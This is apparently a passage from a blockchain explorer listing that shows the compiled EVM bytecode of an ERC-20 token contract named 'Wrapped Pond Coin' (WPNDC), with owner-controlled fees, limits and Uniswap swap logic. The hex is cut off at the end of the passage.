81613752565b92915050565b600080600060608486031215614bab57614baa6136e5565b5b6000614bb986828701614b7d565b9350506020614bca86828701614b7d565b9250506040614bdb86828701614b7d565b915050925092509256fea2646970667358221220481429382c96d5d55ffc5fe53bcf94deec5921da7912382b3d50236d081ca94f64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063a9059cbb11610095578063e8ba854f11610064578063e8ba854f1461067b578063f2fde38b146106a4578063f8978401146106cd578063f8b45b05146106f6576101d8565b8063a9059cbb146105cc578063c3f70b5214610609578063dd62ed3e14610634578063e8078d9414610671576101d8565b80638d3e6e40116100d15780638d3e6e40146105105780638da5cb5b1461054d57806395d89b4114610578578063a6097b0a146105a3576101d8565b806370a0823114610491578063715018a6146104ce57806375f0a874146104e5576101d8565b8063368f48001161016f5780634fcd24461161013e5780634fcd2446146103d657806357ff135a146103ff5780635a90a49e146104285780636373ea6914610465576101d8565b8063368f48001461032c57806346b898341461035557806347062402146103805780634d4ce935146103ab576101d8565b806323b872dd116101ab57806323b872dd146102705780632b14ca56146102ad5780632fb528ba146102d8578063313ce56714610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610721565b6040516101ff91906136c3565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061377e565b61075e565b60405161023c91906137d9565b60405180910390f35b34801561025157600080fd5b5061025a610850565b6040516102679190613803565b60405180910390f35b34801561027c57600080fd5b506102976004803603810190610292919061381e565b610874565b6040516102a491906137d9565b60405180910390f35b3480156102b957600080fd5b506102c2610a7e565b6040516102cf919061388d565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190613900565b610a95565b005b34801561030d57600080fd5b50610316610c7b565b604051610323919061388d565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e919061397a565b610c84565b005b34801561036157600080fd5b5061036a610e42565b6040516103779190613803565b60405180910390f35b34801561038c57600080fd5b50610395610e4c565b6040516103a2919061388d565b60405180910390f35b3480156103b757600080fd5b506103c0610e63565b6040516103cd9190613803565b60405180910390f35b3480156103e257600080fd5b506103fd60048036038101906103f891906139ba565b610e6d565b005b34801561040b57600080fd5b50610426600480360381019061042191906139fa565b610f87565b005b34801561043457600080fd5b5061044f600480360381019061044a9190613a4d565b611164565b60405161045c91906137d9565b60405180910390f35b34801561047157600080fd5b5061047a6111ba565b604051610488929190613a89565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613a4d565b6111e5565b6040516104c59190613803565b60405180910390f35b3480156104da57600080fd5b506104e361122e565b005b3480156104f157600080fd5b506104fa611337565b6040516105079190613ac1565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190613a4d565b611361565b60405161054491906137d9565b60405180910390f35b34801561055957600080fd5b506105626113b7565b60405161056f9190613ac1565b60405180910390f35b34801561058457600080fd5b5061058d6113e0565b60405161059a91906136c3565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613b18565b61141d565b005b3480156105d857600080fd5b506105f360048036038101906105ee919061377e565b61165c565b60405161060091906137d9565b60405180910390f35b34801561061557600080fd5b5061061e6116b9565b60405161062b9190613803565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190613b7f565b6116c3565b6040516106689190613803565b60405180910390f35b61067961174a565b005b34801561068757600080fd5b506106a2600480360381019061069d9190613b7f565b611e37565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bfd565b6120de565b005b3480156106d957600080fd5b506106f460048036038101906106ef919061397a565b6121e6565b005b34801561070257600080fd5b5061070b612326565b6040516107189190613803565b60405180910390f35b60606040518060400160405280601181526020017f5772617070656420506f6e6420436f696e000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161083e9190613803565b60405180910390a36001905092915050565b60006009600a6108609190613d8c565b631913385061086f9190613dd7565b905090565b600061087f84612330565b6108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590613e65565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a6a5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e99190613e85565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a7584848461240b565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90613f05565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90613f71565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd79190613dd7565b610be19190613fc0565b90506009600a610bf19190613d8c565b811115610c0257610c0181612997565b5b8115610c5b57600047905060008111610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c479061403d565b60405180910390fd5b610c5947612bb6565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990613f05565b60405180910390fd5b600060016103e88461ffff166009600a610d2c9190613d8c565b6319133850610d3b9190613dd7565b610d459190613dd7565b610d4f9190613fc0565b610d59919061405d565b9050600454811015610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d97906140dd565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a610dc19190613d8c565b6319133850610dd09190613dd7565b610dda9190613dd7565b610de49190613fc0565b610dee919061405d565b9050600554811015610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90614149565b60405180910390fd5b8060058190555050505050565b6000600654905090565b6000600260009054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef290613f05565b60405180910390fd5b60038183610f099190614169565b60ff161115610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f44906141ea565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90613f05565b60405180910390fd5b808061101e5750815b156110b157601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a790614256565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060028054906101000a900461ffff16600260049054906101000a900461ffff16915091509091565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b390613f05565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161132d9190613ac1565b60405180910390a1565b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57504e4443000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a290613f05565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6114c79190613d8c565b63191338506114d69190613dd7565b6114e09190613dd7565b6114ea9190613fc0565b6006819055508063ffffffff168263ffffffff166009600a61150c9190613d8c565b631913385061151b9190613dd7565b6115259190613dd7565b61152f9190613fc0565b600781905550600654600754101561157c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611573906142c2565b60405180910390fd5b620186a06009600a61158e9190613d8c565b631913385061159d9190613dd7565b6115a79190613fc0565b600754116115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e19061432e565b60405180910390fd5b60646009600a6115fa9190613d8c565b63191338506116099190613dd7565b6116139190613fc0565b60075410611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d9061439a565b60405180910390fd5b50505050565b600061166733612330565b6116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90613e65565b60405180910390fd5b6116b133848461240b565b905092915050565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf90613f05565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90614406565b60405180910390fd5b601160009054906101000a900460ff16156118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90614472565b60405180910390fd5b60003411806118e35750600047115b611922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611919906144de565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9061454a565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a35919061457f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae2919061457f565b6040518363ffffffff1660e01b8152600401611aff9291906145ac565b6020604051808303816000875af1158015611b1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b42919061457f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bcd600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000612c22565b60085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c409190613e85565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611d12919061461c565b6000604051808303816000865af19150503d8060008114611d4f576040519150601f19603f3d011682016040523d82523d6000602084013e611d54565b606091505b5050905080611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f9061467f565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e19612d10565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebc90613f05565b60405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f695750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9f906146eb565b60405180910390fd5b81600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461216c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216390613f05565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516121db919061476a565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612274576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226b90613f05565b60405180910390fd5b600081836122829190614785565b905060008161ffff16116122cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c290614807565b60405180910390fd5b82600260046101000a81548161ffff021916908361ffff160217905550816002806101000a81548161ffff021916908361ffff16021790555080600260066101000a81548161ffff021916908361ffff160217905550505050565b6000600554905090565b60008060009050601160009054906101000a900460ff16156123555760019050612402565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f75750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240157600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361247b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247290614873565b60405180910390fd5b601160009054906101000a900460ff1661257157600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125315750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613e65565b60405180910390fd5b5b601160019054906101000a900460ff161580156125d75750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125e5576125e4612dfa565b5b600154431080156125f857506003544310155b801561264d5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126c1573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b7906148df565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561272957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612781575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127d157612791848484613002565b6127d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c79061494b565b60405180910390fd5b5b60006127de858585613199565b9050600081846127ee9190613e85565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283b9190613e85565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254612890919061405d565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e2919061405d565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516129829190613803565b60405180910390a36001925050509392505050565b6129a081613449565b6000600267ffffffffffffffff8111156129bd576129bc61496b565b5b6040519080825280602002602001820160405280156129eb5781602001602082028036833780820191505090505b5090503081600081518110612a0357612a0261499a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ace919061457f565b81600181518110612ae257612ae161499a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b80959493929190614ac2565b600060405180830381600087803b158015612b9a57600080fd5b505af1158015612bae573d6000803e3d6000fd5b505050505050565b600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c1e573d6000803e3d6000fd5b5050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508115612c5457600090505b612c5d84613449565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612cc496959493929190614b1c565b60606040518083038185885af1158015612ce2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d079190614b92565b50505050505050565b606460026009600a612d229190613d8c565b6319133850612d319190613dd7565b612d3b9190613dd7565b612d459190613fc0565b600481905550606460026009600a612d5d9190613d8c565b6319133850612d6c9190613dd7565b612d769190613dd7565b612d809190613fc0565b6005819055506001601160006101000a81548160ff02191690831515021790555043600381905550600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff16600354600154612dde919061405d565b612de8919061405d565b612df2919061405d565b600181905550565b6001601160016101000a81548160ff021916908315150217905550600060085490506006548110158015612e3a5750601160009054906101000a900460ff165b15612fe4576007548110612e4e5760075490505b600060028060069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1684612e869190613dd7565b612e909190613fc0565b612e9a9190613fc0565b905060008183612eaa9190613e85565b90506009600a612eba9190613d8c565b811115612fc857600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f15919061405d565b92505081905550612f2582612997565b8360086000828254612f379190613e85565b9250508190555060008147612f4c9190613e85565b90506000600260049054906101000a900461ffff1661ffff161115612fc5576000600260069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1683612fa29190613dd7565b612fac9190613fc0565b9050612fb785613449565b612fc385826000612c22565b505b50505b60004790506000811115612fe057612fdf81612bb6565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff16801561306f5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130c55750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561318e576004548311156130dd576000905061318d565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613182575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613180919061405d565b115b1561318c57600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806132015750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806132555750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613263576000905061343e565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133bd57600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166003546132e8919061405d565b6132f2919061405d565b4310613329576064600260009054906101000a900460ff1660ff16846133189190613dd7565b6133229190613fc0565b90506133b8565b600060169054906101000a900460ff1660ff16600354613349919061405d565b4310613380576064600060159054906101000a900460ff1660ff168461336f9190613dd7565b6133799190613fc0565b90506133b7565b60035443106133b6576064600060149054906101000a900460ff1660ff16846133a99190613dd7565b6133b39190613fc0565b90505b5b5b61343d565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561343c576064600260019054906101000a900460ff1660ff168461342f9190613dd7565b6134399190613fc0565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613630577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516136279190613803565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b8381101561366d578082015181840152602081019050613652565b60008484015250505050565b6000601f19601f8301169050919050565b600061369582613633565b61369f818561363e565b93506136af81856020860161364f565b6136b881613679565b840191505092915050565b600060208201905081810360008301526136dd818461368a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613715826136ea565b9050919050565b6137258161370a565b811461373057600080fd5b50565b6000813590506137428161371c565b92915050565b6000819050919050565b61375b81613748565b811461376657600080fd5b50565b60008135905061377881613752565b92915050565b60008060408385031215613795576137946136e5565b5b60006137a385828601613733565b92505060206137b485828601613769565b9150509250929050565b60008115159050919050565b6137d3816137be565b82525050565b60006020820190506137ee60008301846137ca565b92915050565b6137fd81613748565b82525050565b600060208201905061381860008301846137f4565b92915050565b600080600060608486031215613837576138366136e5565b5b600061384586828701613733565b935050602061385686828701613733565b925050604061386786828701613769565b9150509250925092565b600060ff82169050919050565b61388781613871565b82525050565b60006020820190506138a2600083018461387e565b92915050565b6138b181613871565b81146138bc57600080fd5b50565b6000813590506138ce816138a8565b92915050565b6138dd816137be565b81146138e857600080fd5b50565b6000813590506138fa816138d4565b92915050565b60008060408385031215613917576139166136e5565b5b6000613925858286016138bf565b9250506020613936858286016138eb565b9150509250929050565b600061ffff82169050919050565b61395781613940565b811461396257600080fd5b50565b6000813590506139748161394e565b92915050565b60008060408385031215613991576139906136e5565b5b600061399f85828601613965565b92505060206139b085828601613965565b9150509250929050565b600080604083850312156139d1576139d06136e5565b5b60006139df858286016138bf565b92505060206139f0858286016138bf565b9150509250929050565b600080600060608486031215613a1357613a126136e5565b5b6000613a2186828701613733565b9350506020613a32868287016138eb565b9250506040613a43868287016138eb565b9150509250925092565b600060208284031215613a6357613a626136e5565b5b6000613a7184828501613733565b91505092915050565b613a8381613940565b82525050565b6000604082019050613a9e6000830185613a7a565b613aab6020830184613a7a565b9392505050565b613abb8161370a565b82525050565b6000602082019050613ad66000830184613ab2565b92915050565b600063ffffffff82169050919050565b613af581613adc565b8114613b0057600080fd5b50565b600081359050613b1281613aec565b92915050565b60008060008060808587031215613b3257613b316136e5565b5b6000613b4087828801613b03565b9450506020613b5187828801613b03565b9350506040613b6287828801613b03565b9250506060613b7387828801613b03565b91505092959194509250565b60008060408385031215613b9657613b956136e5565b5b6000613ba485828601613733565b9250506020613bb585828601613733565b9150509250929050565b6000613bca826136ea565b9050919050565b613bda81613bbf565b8114613be557600080fd5b50565b600081359050613bf781613bd1565b92915050565b600060208284031215613c1357613c126136e5565b5b6000613c2184828501613be8565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613cb057808604811115613c8c57613c8b613c2a565b5b6001851615613c9b5780820291505b8081029050613ca985613c59565b9450613c70565b94509492505050565b600082613cc95760019050613d85565b81613cd75760009050613d85565b8160018114613ced5760028114613cf757613d26565b6001915050613d85565b60ff841115613d0957613d08613c2a565b5b8360020a915084821115613d2057613d1f613c2a565b5b50613d85565b5060208310610133831016604e8410600b8410161715613d5b5782820a905083811115613d5657613d55613c2a565b5b613d85565b613d688484846001613c66565b92509050818404811115613d7f57613d7e613c2a565b5b81810290505b9392505050565b6000613d9782613748565b9150613da283613871565b9250613dcf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613cb9565b905092915050565b6000613de282613748565b9150613ded83613748565b9250828202613dfb81613748565b91508282048414831517613e1257613e11613c2a565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000613e4f60108361363e565b9150613e5a82613e19565b602082019050919050565b60006020820190508181036000830152613e7e81613e42565b9050919050565b6000613e9082613748565b9150613e9b83613748565b9250828203905081811115613eb357613eb2613c2a565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000613eef60188361363e565b9150613efa82613eb9565b602082019050919050565b60006020820190508181036000830152613f1e81613ee2565b9050919050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b6000613f5b601a8361363e565b9150613f6682613f25565b602082019050919050565b60006020820190508181036000830152613f8a81613f4e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fcb82613748565b9150613fd683613748565b925082613fe657613fe5613f91565b5b828204905092915050565b7f4e6f204554480000000000000000000